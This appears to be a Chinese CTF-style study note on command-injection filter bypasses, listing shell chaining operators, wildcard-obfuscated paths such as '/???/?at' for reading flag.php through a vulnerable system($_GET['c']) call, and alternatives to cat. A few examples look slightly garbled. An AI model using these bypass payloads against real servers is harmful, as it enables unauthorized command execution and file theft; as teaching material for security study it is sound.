Web1-Day11

二、命令执行

2.6 正则

正则表达式 – 语法 | 菜鸟教程

2.7 常用的绕过姿势

2.7.1 常用符号

a.命令连接符

  • Windows和Linux都⽀持的命令连接符:
cmd1 | cmd2 只执行 cmd2
cmd1 || cmd2 只有当 cmd1 执行失败后, cmd2 才被执行
cmd1 & cmd2 先执行 cmd1 ,不管是否成功,都会执行 cmd2
cmd1 && cmd2 先执行 cmd1 ,只有 cmd1 执行成功后才执行 cmd2 ,否则不执行 cmd2
  • Linux特有:分号
cmd1 ; cmd2 按顺序依次执行,先执行 cmd1 再执行 cmd2

b.通配符

单个字符
* 零个、单个或多个字符
例⼦:遇到system($_GET['c']);,则c可以传参
/???/?s --help # 可代表 /bin/ls --help
/???/????64 f???.??? # 可代表 /bin/base64 flag.php:base64 编码 flag.php 的内容。
/???/?[a][t] ?''?''?''?'' # 可代表 /usr/bin/bzip2 flag.php: 将 flag.php 文件进行压缩,然后再将其下载。
/???/?at ???? # 可代表 /bin/cat: test:
/???/?[a]''[t] ?''?''?''?''

2.7.2 cat 绕过

more 一页一页的显示档案内容
less 与 more 类似,但是比 more 更好的是,他可以 [pg dn][pg up] 翻页
head 查看头几行
tac 从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail 查看尾几行
nl 显示的时候,顺便输出行号
od 以二进制的方式读取档案内容
vi 一种编辑器,可以查看
vim 一种编辑器,可以查看
sort 可以查看
uniq 可以查看
file-f 报错出具体内容
sed 一种编辑器,可以查看
grep 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file、strings

上一篇:Springboot项目全局异常统一处理


下一篇:城迅云